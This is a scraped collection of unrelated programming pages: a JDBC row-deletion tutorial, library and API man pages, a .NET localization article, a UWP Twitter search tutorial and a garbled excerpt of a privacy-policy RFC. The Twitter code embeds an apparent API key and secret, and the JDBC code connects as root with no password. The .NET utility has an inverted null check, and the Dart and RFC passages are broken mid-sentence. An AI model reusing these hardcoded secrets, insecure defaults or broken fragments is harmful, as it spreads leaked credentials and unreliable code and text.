import java.sql.DriverManager; import java.sql.Connection; import java.sql.Statement; import java.sql.SQLException; public class DeleteRow{ // JDBC driver name and database URL static String driverName = "com.mysql.jdbc.Driver"; static String url = "jdbc:mysql://localhost:3306/"; // defined and set value in dbName, userName and password variables static String dbName = "testjdbc"; static String userName = "root"; static String password = ""; public static void main(String[] args){ // create Connection con, and Statement stmt Connection con; Statement stmt; try{ Class.forName(driverName).newInstance(); con = DriverManager.getConnection(url+dbName, userName, password); try{ stmt = con.createStatement(); String query = "DELETE FROM user where user_id=1 "; int count=stmt.executeUpdate(query); if(count>0){ System.out.println("Deleted Specific Row in the table successfully..."); }else{ System.out.println("Not exist specific row that you select for delete"); } } catch(SQLException s){ s.printStackTrace(); } // close Connection con.close(); }catch (Exception e){ e.printStackTrace(); } } }
Program Output :
If you are facing any programming issue, such as compilation errors or not able to find the code you are looking for.
Ask your questions, our development team will try to give answers to your questions.
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http://roseindia.net/tutorial/java/jdbc/mysql/delete-row.html
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Overview
The Rosella Memoize library provides a set of utilities for performing memoization on subroutines. Memoization is a mechanism for caching function return values to save on costly recalculations.
Concepts
Simple Memoization
Simple memoization wraps a subroutine (the “target”) in a closure with a small amount of cache code. Simple memoizers are fast and light weight, but do not have many features. Simple memoizers cannot be examined or modified once they have been created, and it will not be possible for users of the simple memoizer to determine whether they are interacting with the target directly or if they are working with a memoizer.
Proxy-Based Memoization
Using the Rosella Proxy library, we can create memoizers with proxy objects. This is a more heavy and more capable alternative to simple memoization. Proxy-based memoizers allow you to inspect and manipulate the memoizer after it has been created, at the expense of having more runtime overhead and lower performance.
With a proxy-based memoizer, user code can determine if the object is a memoizer or not. If so, the user code can inspect it and retrieve a reference to the target Sub and Cache, or even modify either of those two fields.
In-Place Method Memoization
Using proxy-based memoization, Rosella Memoize library can perform in-place memoization of methods for existing classes. The Memoize library does this by removing the old method object from the class, wrapping it up in a memoize proxy, and inserts the proxy into the class where the old method object used to be. This process is transparent and reversible. Notice that there are performance implications, the class’ method cache must be cleared, which can cause a period of decreased performance while the cache is refilled.
Namespaces
Memoize
The
Rosella.Memoize namespace represents the friendly public API for the library. You should try to use the functions here where possible, instead of attempting to fiddle with other components. This namespace provides the following functions:
memoize: Create a simple memoizer for the Sub
Y: A Y-combinator implementation with built-in memoization
memoize_proxy: Create a proxy-based memoizer
proxy_cache: Get/set the cache for a proxy-based memoizer
proxy_function: Get/set the target function for a proxy-based memoizer
is_memoize_proxy: Determine if an object is a memoize proxy
memoize_method: in-place memoization for a method
unmemoize_method: in-place unmemoization for a method
Classes
Memoize.Controller
Rosella.Memoize.Controller is a subclass of
Rosella.Proxy.Controller for working with proxy-based memoizers. Do not use this class directly.
Memoize.Factory
Rosella.Memoize.Factory is a factory for creating memozing sub proxies. It uses
Rosella.Proxy.Factory to create memoize proxies.
Memoize.Cache
Rosella.Memoize.Cache is an abstract parent class used for memoize caches. You should not use this class directly, but you must inherit from it in your custom cache implementations. The library identifies valid caches by searching the inheritance tree for this class. If you do not use this as a parent of a custom cache type, the library may break or exhibit weird behavior.
Memoize.Cache.Item
Rosella.Memoize.Cache.Item is an entry in a cache. Item holds a value and also a flag to determine if that value is valid. Caches should return Item.
Memoize.Cache.SimpleSring
Rosella.Memoize.Cache.SimpleString uses simple stringification to create cache keys. This is not a high-performance operation, and it does not work with objects which cannot be stringified.
Examples
Winxed
// Function to memoize function my_function(var a) { ... } // Simple memoization using Rosella.Memoize.memoize; var memoized = memoize(my_function); // Proxy-based memoization using Rosella.Memoize.memoize_proxy; var memo_proxy = memoize_proxy(my_function); using Rosella.Memoize.proxy_cache; var cache = proxy_cache(memo_proxy); using Rosella.Memoize.proxy_function; var orig_func = proxy_function(memo_proxy);
NQP-rx
# Simple memoization sub my_function($a) { ... } my &memoized := Rosella::Memoize::memoize(my_function); &memoized(4); # Proxy-based memoization sub my_function($a) { ... } my &memo_proxy := Rosella::Memoize::memoize_proxy(my_function); my $cache := Rosella::Memoize::proxy_cache(&memo_proxy); my $my_function := Rosella::memoze::proxy_function(&memo_proxy); &memo_proxy(4);
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http://whiteknight.github.io/Rosella/libraries/memoize.html
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.
So far, we have shown how to create the keys and their values in a scalable
manner. This section will cover how to retrieve these keys and place them on
dialog boxes and Web pages. .NET provides a class called
ResourceManager to
assist with the retrieval of these keys with a well-defined, fall back process.
A fall back process is a process by which .NET will look for a resource key in a
language-dependent file first and if not found, it will look in the default
resource file. It will also uses a hiearchical process to search the files;
thereby, the localization process is gradual.
Let me present a couple of options to access these keys starting with the native .NET way and proceeding to demonstrate a few utilities for the same purpose.
The first option is the option of directly using the resource manager classes
available in .NET. In this option, you need to know the resource filename in which
you are interested. In other words, you need to know the key of the resource
and also the module in which the key is defined. As you can see, some of the
effort we have put into our
CommonKeys has already paid off. We were able to say
CommonKeys.SAVE to identify the key in a discoverable, non-error-prone manner,
but also able to specify the module name in a uniform anonymous manner:
CommonKeys.root.
You can retrieve the keys by explicitly constructing the resource manager yourself:
Using System.resources; Using SKLocalizationSample.resources.keys; ResourceManager rm = new ResourceManager(your-resource-filename,your-assembly); rm.getString(CommonKeys.FILE);
The second option uses a utility called
ResourceUtility that we are going to
design in the following section. Let us consider here its usage, so that we can
contrast it with Option 1 and see if it is worth the effort. One thing to notice
is that we no longer need to instantiate resource managers, one for each module,
ourselves. This is controlled by the static utility function. As we might embed
static strings on a moment's notice in our programs, this one-line approach is very
very welcome. We are still mentioning the module name and the key name,
nevertheless. Let us see if we can improve on this one more step.
String value = ResourceUtility.getString(CommonKeys.SAVE, CommonKeys.root);
We are able to just say the key name in the utility function. This is possible because we have used a convention where the key name includes the module name as a prefix. So inside of the utility function, we will infer the module name from the key, and accordingly retrieve the keys. This function may be slightly inefficient. Usually, this should be the least of your performance considerations. If it does, you can collapse the resource files into a single resource file at deployment time, or use another, similar method to optimize this out.
Sample Code For the Above FunctionSample Code For the Above Function
String value = ResourceUtility.getString(CommonKeys.SAVE);
Would it not be nice to cover how this function works? It is quite straightforward, so the complete code for this function is presented here. The code has enough comments to make it clear:
public class ResourceUtility { public ResourceUtility(){} // Define a hashtable to hold resource managers one for each module static Hashtable resourceManagers = new Hashtable(); // Given a key and a modulename return its value public static string getString(string key, string modname) { // See if the reource manager already exists ResourceManager rm = (ResourceManager)resourceManagers[modname]; if (rm != null) { // ResourceManager not found, // create the resource manager and add it to the hashtable // the following ideally be run inside of synchronous block rm = new ResourceManager("SKLocalizationSample.resources.files." + modName + "Resources", Assembly.GetExecutingAssembly()); // Notice how in the above line, the name of the passed in module // is converted into a resource filename resourceManagers.Add(modname,rm); } // when the resource manager is available just return the value for the key return rm.GetString(key); } //*********************************************** //Option2, implying the module from the key //************************************************ public static string getString(string key) { // get the module name from the string char[] sep = {'.'}; string[] modKeyPair = key.Split(sep); string mod = modKeyPair[0]; return getString(key,mod); } }
The only tricky part is where we are figuring out the resource file name from the module name.
For example, if the module name is:
Commmon
Then the resource filename to be passed to the resource manager is:
MyAppProject.resources.files.CommonResources.resources
You have access to your module-specific resource file in the following directory:
\myproject\resources\files\your-module.resx
You can update this file either through its XML or through an IDE-based editor.
Temporarily, if you want to localize any of your modules' resources, simply copy the existing resource file using the IDE into the same directory. Then rename it to the new language extension, and update the keys to reflect that language.
For ex:
\resources\files\CommonResources.resx \resources\files\CommonResources.en-gb.resx // British version of the file
The Visual Studio IDE will automatically generate the satellite assemblies in the bin directory.
This process may not be practical for each of the files. In that case, we will collect all of the resource files and generate these language-dependent file outside of the framework and create satellite assemblies manually.
Refer to the article on the same site titled "Creating Satellite Assemblies" for converting these external resource files into satellite assemblies.
Let us start with a module called
MyMod and a key within that module called
MYKEY:
1. Create a file called
\project\resources\keys\MyMod.cs public static string root = "MyMod"; public static string MYKEY = root + ".MYKEY";
Notice the conventions used for
root and the key
MYKEY.
2. Create a resource file as follows (pay attention to the name of the file):
\project\resources\files\MyModResources.res
Key:
MyMod.MYKEY
Value: Any language specific value
Note: Naming the key along with the module name should allow for better management of resources.
Satya Komatineni is the CTO at Indent, Inc. and the author of Aspire, an open source web development RAD tool for J2EE/XML.
Return to ONDotnet.com
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http://www.oreillynet.com/lpt/a/2636
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QNX Developer Support
pci_read_config16()
Read 16-bit values from the configuration space of a device
Synopsis:
#include <hw/pci.h> int pci_read_config16( unsigned bus, unsigned dev_func, unsigned offset, unsigned count, char* buff );
Arguments:
- bus
- The bus number.
- dev_func
- The name of the device or function.
- offset
- The register offset into the configuration space. This offset must be aligned to a 16-bit boundary (that is 0, 2, 4, ..., 254 bytes).
- count
- The number of 16-bit values to read.
- buff
- A pointer to a buffer where the requested 16-bit values are placed.
Library:
libc
Use the -l c option to qcc to link against this library. This library is usually included automatically.
Description:
The pci_read_config16() function reads the specified number of 16-bit values from the configuration space of the given device or function.
Returns:
- PCI_BAD_REGISTER_NUMBER
- An invalid offset register number was given.
- PCI_BUFFER_TOO_SMALL
- The PCI BIOS server reads only 50 words at a time; count is too large.
-32(), pci_rescan_bus(), pci_write_config(), pci_write_config8(), pci_write_config16(), pci_write_config32()
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http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/lib_ref/p/pci_read_config16.html
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We’ve all done it at one point or another. Our application throws an exception and we start wading through a standard Windows error dialog or a log file to examine the exception and stack trace. If you’re a ReSharper Jedi, you’ve probably copied the exception and stack trace to the clipboard and hit CTRL-SHIFT-E (IDEA) or CTRL-E, T (VS) in Visual Studio to launch ReSharper’s Stack Trace Explorer. (If you have’t, you’ll see the Stack Trace Explorer in just a second.)
Let me show you an easier way that works well on desktop or Silverlight apps. I’ll use Silverlight for demo purposes, but the same technique works with WPF and WinForms. First we need to hook up a global error handler:
public MainPage() { InitializeComponent(); Application.Current.UnhandledException += HandleApplicationUnhandledException; } private static void HandleApplicationUnhandledException(object sender, ApplicationUnhandledExceptionEventArgs e) { if(Debugger.IsAttached) { Clipboard.SetText(e.ExceptionObject.ToString()); } e.Handled = false; }
Please note that this is demo code and I’m simply hooking this up in the code behind. In a larger application, I would typically publish an ErrorOccurred message to my application’s message bus and register a listener that would contain the code in HandleApplicationUnhandledException.
Notice that I’m checking whether a debugger is attached. If so, I place the contents of the System.Exception (or derived exception) on the clipboard. (Clipboard is in the System.Windows namespace for Silverlight and WPF apps, but there is an identically-named class in System.Windows.Forms.) The reason that I’m checking whether a debugger is attached is so that end-users don’t get the clipboards spammed with exception text. You could conditionally compile the code so that production builds don’t contain it, but personally I like having the code in production too. It means that I can grab an old build, attach a debugger, and get the same exceptions that the end users are getting.
Now that the exception and stack trace is on the clipboard, I jump over to Visual Studio and press CTRL-SHIFT-E (IDEA) or CTRL-E, T (VS). I am immediately presented with ReSharper’s Stack Trace Explorer as ReSharper is smart enough to grab the current clipboard contents to display:
The advantage here is fictionless debugging as you no longer have to find, select, and copy the exception and stack trace to the clipboard. It’s there for you automatically. As soon as you hit an exception, simply jump to Visual Studio and press CTRL-SHIFT-E (IDEA) or CTRL-E, T (VS) and you’re ready to find the problem. Also note that all the method names in the ReSharper’s Stack Trace Explorer are hot links to the appropriate code file allowing for easy navigation of your code base, the .NET Framework, and third-party libraries.
One quick note regarding Silverlight… Many modern browsers (e.g. FF4, IE8+, Chrome, …) will run Silverlight in a separate process. So even when you launch with debugging (F5), you’ll be attached to the browser process itself and not the child process that is hosting Silverlight. To correct this, simply go to Debug… Attach to Process… and find the hosting process where the type is Silverlight. (For FireFox 4, the hosting process is called plugin-container.exe. For IE8+ and Chrome, the hosting process is called iexplore.exe or chrome.exe, respectively. Just look for the one hosting Silverlight as noted under the “Type” column.)
Happy Debugging!
Pingback: Tweets that mention Easier Debugging with ReSharper and the Clipboard | James Kovacs -- Topsy.com
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http://codebetter.com/jameskovacs/2011/01/31/easier-debugging-with-resharper-and-the-clipboard/
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aio_results_np - Returns results for completed asynchronous
I/O operations
#include <aio.h>
typedef struct aio_completion_data {
struct aiocb *aio_aiocb;
ssize_t aio_result;
int aio_error;
aio_completion_t;int aio_results_np( aio_completion_t, int nent, const struct timespec *timeout,
int howmany);
Asynchronous I/O Library (libaio, libaio_raw)
An array of pointers to asynchronous I/O completion data
structures. The number of elements in the array. This
number specifies the number of completed asynchronous I/O
operations that can be reported on. If nent is 0 (zero),
the function simply returns the number of aio completions
not yet reported on. A pointer to a timespec structure.
If timeout is NULL, the argument is ignored. If howmany
aio operations are not completed within the timeout value,
the function fails. The number of aio operations that
must be complete before the the call returns.
The aio_results_np function suspends the calling process
until at least howmany asynchronous I/O operations have
completed, until a signal interrupts the function, or
until a timeout interval, if specified, has passed. If at
the time of the call howmany asynchronous I/O operations
are completed, the call returns the requested results
without suspending the calling process.
The list argument is an array of pointers to aio_completion_t
data structures. The nent argument indicates the
number of elements in the array. On return from a successful
call, the function return value specifies the number
of valid entries returned in the array. For each
valid entry, three pieces of information are returned: The
aio_aiocb field contains a pointer to a completed aiocb
structure. The aio_result field contains the return value
of the operation; this value is equivalent to the result
of a call to aio_return for the aio_aiocb field. The
aio_error field contains the errno value of the operation;
this value is equivalent to the result of a call to
aio_error for the aio_aiocb field.
Each valid completion structure represents a completed aio
operation. The function performs the equivalent of an
aio_return on each aiocb on which it reports. In other
words, the aiocb pointers returned are ready for immediate
reuse by the application.
If nent is 0 (zero), the function immediately returns the
number of aio completions not yet reported on. This can
be used to quickly poll for completion.
If the function returns successfully, the number of completed
aio operations reported on is returned. That is,
the return value is the number of valid entries in in the
array. If the value returned is the same as the nent
argument, more aio operations may be complete and can be
reported on by another call to aio_results_np.
On an unsuccessful call, a value of -1 is returned and
errno is set to indicate that an error occurred.
The aio_results_np function fails under the following conditions:
A signal interrupted the function. An invalid
time value was specified in timeout. The nent parameter
is negative. The list paramenter is null. The howmany
parameter is greater than the nent parameter.
Functions: aio_group_completion_np(3), aio_read(3),
aio_suspend(3), aio_write(3), lio_listio(3)
Guide to Realtime Programming
aio_results_np(3)
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http://nixdoc.net/man-pages/Tru64/man3/aio_results_np.3.html
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February 2017
Volume 32 Number 2
[Modern Apps]
Twitter-Searching Utility
In my column last month, I explored the great Universal Windows Platform (UWP) Community Toolkit, an open source toolkit built by the community for the community. However, I barely scratched the surface of what it can do. The UWP Community Toolkit makes building highly polished, cloud-powered UWP apps much easier and faster. In this month’s column, I’ll discuss how to build a Twitter search app using the Twitter services and the blade control to demonstrate how easy it is to work with.
Currently, I manage several YouTube channels that source content from tweets marked with certain hashtags. For example, #DCTech Minute focuses on the happenings in the DC Area startup and technology scene. I find content to highlight based on tweets that use the DCTech hashtag. For #Node.js Minute, I do the same with tweets marked with #Node.js. Currently, I do a lot of manual cutting and pasting between Twitter and OneNote. It would be great to have a UWP app that can search Twitter for all the key phrases I need all in one window and make it easier to pull the content from the tweets.
Setting up the Project
Create a new blank UWP project in Visual Studio by choosing New Project from the File menu. Expand the Installed Templates | Windows | Blank App (Universal Windows). Name the project TagSearcherUWP and then click OK. Immediately afterward, a dialog box will appear asking you which version of Windows the app should target. At a minimum, you’ll need to choose Windows 10 Anniversary Edition (10.0; Build 14393). This is the most recent version. Therefore, both the Target Version and the Minimum Version will both target the same version, as shown in Figure 1. If you don’t see this particular version in either dropdown list, then make sure you have the appropriate software installed on your system. Failure to select the correct version will yield a runtime error once the Microsoft.Toolkit.Uwp.UI.Controls NuGet package is added to the project.
Figure 1 Targeting the Correct Version of Windows
.png)
Once the solution loads, browse to Solution Explorer, then. This project will use the Microsoft.Toolkit.Uwp.Services and Microsoft.Toolkit.Uwp.UI.Controls packages. Install them both to add them to the project. If prompted with a Review Changes dialog, review the changes and then click OK to accept. You’ll also see a License Acceptance dialog for each package. Click “I Accept” to accept the license terms. Clicking “I Decline” will cancel the install.
Setting Up Twitter
Now that the project is set up with the appropriate NuGet packages, it’ time to connect the app to the Twitter service. Go to apps.twitter.com and sign in with your Twitter account. If you don’t have a Twitter account, you should make one now. If you haven’t created a Twitter App, you’ll need to click on Create New App to register a new app.
You’ll need to fill out details about the app, such as the Name, Description, Web site and Callback URL. You can fill in the fields as you wish. For the name, I chose MSDNTagSearchUWPApp. End users will see the Description text when they log in, so it’s best to make it short and descriptive. See Figure 2 for guidance. For both the Web site and Callback fields, I put in my Web site URL. In the case of UWP apps, the callback URL doesn’t have to be a working URL. Make note of the URL as you’ll need it later when logging into the service. Check the checkbox next to the Developer Agreement and click the Create your Twitter application button.
Figure 2 Creating a New Twitter App
.png)
Once the app is created, click on the Keys and Access Tokens tab and note the Consumer Key (API Key) and Consumer Secret (API Secret) fields, as shown in Figure 3. You’ll use them shortly.
Figure 3 The Consumer Key and Access Token Tab
.png)
Creating the UI
Open the MainPage.xaml file and add the XAML in Figure 4. Note that there’s an added namespace for the controls in the UWP Community Toolkit. This is where the BladeView control resides:
Figure 4 XAML Code to Create the Interface
<Page x: <Grid Background="{ThemeResource ApplicationPageBackgroundThemeBrush}"> <Grid.RowDefinitions> <RowDefinition Height="56*"/> <RowDefinition Height="35*"/> <RowDefinition Height="549*"/> </Grid.RowDefinitions> <StackPanel Orientation="Horizontal" VerticalAlignment="Center"> <TextBlock FontSize="24" Margin="5">Twitter Tag Searcher</TextBlock> <Button Name="btnLogin" Click="btnLogin_Click" >Log In</Button> </StackPanel> <StackPanel Name="splSearch" Grid. <TextBox Name="txtSearch" Margin="5,0,5,0" MinWidth="140" Width="156" /> <Button Name="btnSearch" Click="btnSearch_Click">Search</Button> </StackPanel> <controls:BladeView <controls:BladeItem x: </controls:BladeView> </Grid> </Page
Introducing the BladeView Control
The BladeView control will look familiar to users of the Azure Portal Web site (portal.azure.com). If you’re unfamiliar with it, the BladeView control provides a container to host “blades” or tiles. The XAML in Figure 4 includes a “DummyBlade” to keep the XAML designer view from crashing. It’ll throw an exception if it encounters a BladeView without any BladeItems. Because the IsOpen property is set to False, users will never see the BladeItem.
Logging into Twitter
Next, connect the app to the Twitter API by adding the following event handler for the btnLogin_Click event:
private async void btnLogin_Click(object sender, RoutedEventArgs e) { string apiKey = "pkfAUvqfMAGr53D4huKOzDYDP"; string apiSecret = "bgJCH9ESj1wraCoHBI5OqEqhkac1AOZxujqvnCWKNRJgBMhyPG"; string callbackUrl = ""; TwitterService.Instance.Initialize(apiKey, apiSecret, callbackUrl); if (await TwitterService.Instance.LoginAsync()) { splSearch.Visibility = Visibility.Visible; } }
The code uses the API Key, API Secret, and Callback URL fields and uses them in the parameters of the Initialize method of the TwitterService.Instance. TwitterService.Instance is a singleton that will maintain state throughout the entire app. Calling the LoginAsync method initiates the call to the Twitter API. If the login is successful, the method returns true. In that case, you should make the StackPanel with the Search Controls visible.
Displaying Search Results
With the Twitter API calls set up, it’s time to create a place for the search results to be displayed. To do this, you’ll create a user control. The user control will contain code to perform the Twitter API search, as well as host the necessary controls to display the search results.
To get started, right-click on the project and choose Add | New Item in the context menu. In the following dialog box, look for user control. Name the user control SearchResults and click Add, as shown in Figure 5.
Figure 5 Adding a New User Control to the Project
.png)
Modify the SearchResults.xaml file to add the XAML found in Figure 6.
Figure 6 XAML for the SearchResults User Control
<Grid> <ListView Name="lvSearchResults" Width="350" > <ListView.ItemTemplate> <DataTemplate> <StackPanel Orientation="Horizontal" VerticalAlignment="Top" Margin="0,4,4,0"> <Image Source="{Binding User.ProfileImageUrl}" Width="64" Margin="8" ></Image> <StackPanel Width="240"> <TextBlock Text="{Binding Text}" TextWrapping="WrapWholeWords"></TextBlock> <TextBlock Text="{Binding CreationDate}" FontStyle="Italic" ></TextBlock> <TextBlock Text="{Binding User.ScreenName}" Foreground="Blue"></TextBlock> <TextBlock Text="{Binding User.Name}"></TextBlock> </StackPanel> </StackPanel> </DataTemplate> </ListView.ItemTemplate> </ListView> </Grid>
The XAML contains a ListView and the necessary DataTemplate to display the Twitter search results. Open the SearchResults.xaml.cs file and add the following property to the Search Results class:
public string SearchTerm { get; private set; }
Then, modify the constructor to add a string parameter for the search term:
public SearchResults(string searchTerm) { this.InitializeComponent(); this.SearchTerm = searchTerm; Search(); }
Now, add the following method:
private async void Search() { lvSearchResults.ItemsSource = await TwitterService.Instance.SearchAsync(this.SearchTerm, 50); }
The Search method calls the SearchAsync method with two parameters: the search term and the limit of results to return. All the underlying REST API plumbing work is done by the UWP Community Toolkit.
Now that the SearchResults user control is ready, it’s time to add code to the MainPage.xaml.cs file to complete the app. Add the following event handler for the btnSearch Button control:
private void btnSearch_Click(object sender, RoutedEventArgs e) { BladeItem bi = new BladeItem(); bi.Title = txtSearch.Text; bi.Content = new SearchResults(txtSearch.Text); bladeView.Items.Add(bi); }
The BladeView control can contain any number of BladeItems. The previous code snippet creates a BladeItem control and sets the Title of the BladeItem to the text from the search textbox. Next, it sets the contents of the BladeItem control to a new instance of the SearchResults user control, passing the search term off to the constructor. Finally, it adds the BladeItem to the BladeView.
Run the solution now. Click the Log In button. When prompted, enter your Twitter credentials and grant the app the permissions it’s asking for. The window will close and the search panel will now be visible. After entering a few search terms, your screen should look something like Figure 7.
Figure 7 The Tag Search App in Action
.png)
Adding the Copy Function
Now that you have all the tweets you’re interested in neatly organized by blade, you need a way to get the data into a text format. Ideally, you’d like to be able to right-click (or tap, if on a touchscreen device) and copy the contents of the tweet to the clipboard. Adding this feature requires some modification to the XAML and code for the SearchResults user control.
Inside the SearchResults.xaml file, you want to add a flyout menu to the ListView control. Inside the ListView tag add the following XAML to create a MenuFlyout as a resource within the ListView control:
<ListView.Resources> <MenuFlyout x: <MenuFlyout.Items> <MenuFlyoutItem Name="mfiCopy" Text="Copy" Click="mfiCopy_Click"/> </MenuFlyout.Items> </MenuFlyout> </ListView.Resources>
While still in the SearchResults.xaml file, add the following event handler to the ListView control to detect when the ListView is right-clicked or tapped:
RightTapped="lvSearchResults_RightTapped"
Now add the following event handler code in the SearchResults.xaml.cs file:
private void lvSearchResults_RightTapped(object sender, RightTappedRoutedEventArgs e) { var tweet = ((FrameworkElement)e.OriginalSource).DataContext; mfiCopy.Tag = tweet; mfCopyMenu.ShowAt(lvSearchResults, e.GetPosition(lvSearchResults)); }
The purpose of this code is to capture the tweet object from the DataContext and store it into the MenuFlyoutItem Tag property. The Tag property is inherited from FrameworkElement and is meant to store custom information about an object. Once the selected tweet object is stored in the Tag property of the MenuFlyoutItem, it’s time to display the flyout menu. Users expect a context menu to appear where they clicked or tapped on the screen. That’s why the code sends event position information to the ShowAt method.
Now it’s time to add the event handler for the MenuFlyoutItem control and code to copy the contents of the tweet to the clipboard. Add the following event handler to the SearchResults.xaml.cs file:
private void mfiCopy_Click(object sender, RoutedEventArgs e) { var menuFlyoutItemSender = (MenuFlyoutItem)sender; var tweet = menuFlyoutItemSender.Tag as Tweet; DataPackage dataPackage = new DataPackage(); dataPackage.RequestedOperation = DataPackageOperation.Copy; dataPackage.SetText($"@{tweet.User.ScreenName} {tweet.Text} "); Clipboard.SetContent(dataPackage); }
The first two lines of code retrieve the tweet data from the Tag property of the MenuFlyoutItem. Once that’s obtained, it’s time to send data to the clipboard. In UWP apps, this is done by using the DataPackage class. A full exploration of the DataPackage class is beyond the scope of this column; however, if you’re interested in learning more, I recommend reading the “Copy and Paste” documentation page at bit.ly/2h54IK0. The “DataPackage Class” documentation page is at bit.ly/2hpo2Fc.
The clipboard can handle robust formatting of text and images. However, for this column, I’m interested only in the text contents of the tweet and the Twitter handle of the person who made it. The UWP Community Toolkit stores that as ScreenName inside the User object. Finally, I set the contents of the Clipboard to the DataPackage object.
Run the solution now, log in, and enter a search term. Find a tweet you wish to copy, right-click or tap to see the context menu, as shownin Figure 8. Click Copy.
Figure 8 Testing the Copy Context Menu Function on a Sample Tweet
.png)
Now, run Notepad, or your favorite text editor, and chose Edit | Paste or use Ctrl+V. You should see this text from the tweet: @AndyLeonard Reading “Going Rogue” by my brother and friend, Frank La Vigne. :{>.
Wrapping Up
As you can see, the UWP Community Toolkit facilitates rapid development of cloud-connected UWP apps. It only took one line of code to log into Twitter. Searching Twitter was equally as brief. Most of the code had more to do with the presentation of the data and how users interact with it. The UWP Community Toolkit provides rich UI controls, as well as straightforward ways to access popular cloud APIs such as Twitter. Low-level REST API and authentication mechanisms are abstracted away into a clean IntelliSense-enabled API. This enables developers to focus on how users interact with the data, rather than obtaining the data. The UWP Community Toolkit can make any UWP app better and easier to connect to social media and other cloud services.
Discuss this article in the MSDN Magazine forum
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prompter_vvn 0.0.1
example/main.dart
import 'package:prompter_vvn/prompter_vvn.dart'; void main() { final options = [ new Option('I want red', '#f00'), new Option('I want blue', '#00f'), ];_vv_vvn/prompter_vv 12 col 3: The method askMultiple should have a return type but doesn't.
Format
lib/prompter_vvn.dart.
Run
dartfmt to format
lib/prompter_vvn.dart.
Format
lib/src/option.dart.
Run
dartfmt to format
lib/src/option.dart.
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lib/src/terminal.dart.
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Columbia U.
H. Tschofenig
Siemens Networks GmbH & Co KG
J. Morris
CDT
J. Cuellar
Siemens
J. Polk
J. Rosenberg
Cisco
February 2007
Common Policy: A Document Format for Expressing Privacy for authorization policies controlling access to application-specific data. This framework combines common location- and presence-specific authorization aspects. An XML schema specifies the language in which common policy rules are represented. The common policy framework can be extended to other application domains.
Table of Contents
1. Introduction ....................................................3 2. Terminology .....................................................4 3. Modes of Operation ..............................................4 3.1. Passive Request-Response - PS as Server (Responder) ........5 3.2. Active Request-Response - PS as Client (Initiator) .........5 3.3. Event Notification .........................................5 4. Goals and Assumptions ...........................................6 5. Non-Goals .......................................................7 6. Basic Data Model and Processing .................................8 6.1. Identification of Rules ....................................9 6.2. Extensions .................................................9 7. Conditions .....................................................10 7.1. Identity Condition ........................................10 7.1.1. Overview ...........................................10 7.1.2. Matching One Entity ................................11 7.1.3. Matching Multiple Entities .........................11 7.2. Single Entity .............................................14 7.3. Sphere ....................................................15 7.4. Validity ..................................................16 8. Actions ........................................................17 9. Transformations ................................................18 10. Procedure for Combining Permissions ...........................18 10.1. Introduction .............................................18 10.2. Combining Rules (CRs) ....................................18 10.3. Example ..................................................19 11. Meta Policies .................................................21 12. Example .......................................................21 13. XML Schema Definition .........................................22 14. Security Considerations .......................................25 15. IANA Considerations ...........................................25 15.1. Common Policy Namespace Registration .....................25 15.2. Content-type Registration for 'application/auth-policy+xml' ............................26 15.3. Common Policy Schema Registration ........................27 16. References ....................................................27 16.1. Normative References .....................................27 16.2. Informative References ...................................28 Appendix A. Contributors ..........................................29 Appendix B. Acknowledgments .......................................29
1. Introduction
This document defines a framework for creating authorization policies for access to application-specific data. This framework is the result of combining the common aspects of single authorization systems that more specifically control access to presence and location information and that previously had been developed separately. The benefit of combining these two authorization systems is two-fold. First, it allows building a system that enhances the value of 1.
+-----------------+ | | | Common | | Policy | | | +---+---------+---+ /|\ /|\ | | +-------------------+ | | +-------------------+ | | | enhance | | | | Location-specific | | | | Presence-specific | | Policy |----+ +----| Policy | | | | | +-------------------+ +-------------------+
Figure 1: Common Policy Enhancements
This document starts with an introduction to the terminology in Section 2, an illustration of basic modes of operation in Section 3, a description of goals (see Section 4) and non-goals (see Section 5) of the policy framework, followed by the data model in Section 6. The structure of a rule, namely, conditions, actions, and transformations, is described in Sections 7, 8, and 9. The procedure for combining permissions is explained in Section 10 and used when conditions for more than one rule are satisfied. A short description of meta policies is given in Section 11. An example is provided in Section 12. The XML schema will be discussed in Section 13. IANA considerations in Section 15 follow security considerations in Section 14.: The RM is an entity that creates the authorization rules that restrict access to data items. PS - (Authorization) Policy Server: This entity has access to both the authorization policies and the data items. In location- specific applications, the entity PS is labeled as location server (LS). WR - Watcher / Recipient: This entity requests access to data items of the PT. An access operation might be a read, a write, or any other operation.
A policy is given by a 'rule set' that contains an unordered list of 'rules'. A 'rule' has a 'conditions', an 'actions', and a 'transformations' part.
The term 'permission' indicates the action and transformation components of a 'rule'.
The term 'using protocol' is defined in [9]. It refers to the protocol used to request access to and to return privacy-sensitive data items.
3. Modes of Operation
The abstract sequence of operations can roughly be described as follows. The PS receives a query for data items for a particular PT, via the using protocol. The using protocol (or more precisely, the authentication protocol) provides the identity of the requestor, combined rules are applied to the application data, resulting in the application of privacy based on the transformation policies. The resulting application data is returned to the WR.
Three different modes of operation can be distinguished:
3.1. Passive Request-Response - PS as Server (Responder)
In a passive request-response mode, the WR queries the PS for data items about the PT. Examples of protocols following this mode of operation include HTTP, FTP, LDAP, finger, and various remote procedure call (RPC) protocols, including Sun RPC, Distributed Computing Environment (DCE), Distributed Component Object Model (DCOM), common object request broker architecture (Corba), and Simple Object Access Protocol (SOAP). The PS uses the rule set to determine whether the WR is authorized to access the PT's information, refusing the request if necessary. "Active Request- Response - PS as Client (Initiator)"-maker-provided rules and by the. Depending on the interpretation of 'deny' and 'permit' rules, the ordering of rules might matter, making updating rule sets more complicated since such update mechanisms would have to support insertion at specific locations in the rule set. Additionally, it would make distributed rule sets more complicated. Hence, only 'permit' actions are allowed that result in more efficient rule processing. This also implies that rule ordering is not important. Consequently, to make a policy decision requires processing all which extensions are supported by the PS. The mechanism used to determine the capability of a PS is outside the scope of this specification. zone of his current location, which may not be known to other components of the system.) expressions: am to 4 pm).
6. Basic Data Model and Processing
A rule set (or synonymously, a policy) consists of zero or more rules. The ordering of these rules is irrelevant. The rule set can be stored at the PS and conveyed from RM to PS as a single document, in subsets or as individual rules. A rule consists of three parts: conditions (see Section 7), actions (see Section 8), and transformations (see Section 9).
The conditions part is a set of expressions, each of which evaluates to either TRUE or FALSE. in Section 10. The resulting union effectively represents a "mask" -- it defines what information is exposed to the WR. This mask is applied to the actual location or presence data for the PT, and the data that is permitted by the mask is shown to the WR. If the WR requests a subset of information only (such as city-level civic location data only, instead of the full civic location information), the information delivered to the WR MUST be the intersection of the permissions granted to the WR and the data requested by the WR.
Rules are encoded in XML. To this. If more than one RM modifies the same rule set, then it needs to be ensured that a unique identifier is chosen for each rule. A RM can accomplish this goal by retrieving the already specified rule set and choosing a new identifier for a rule that is different from the existing rule set.
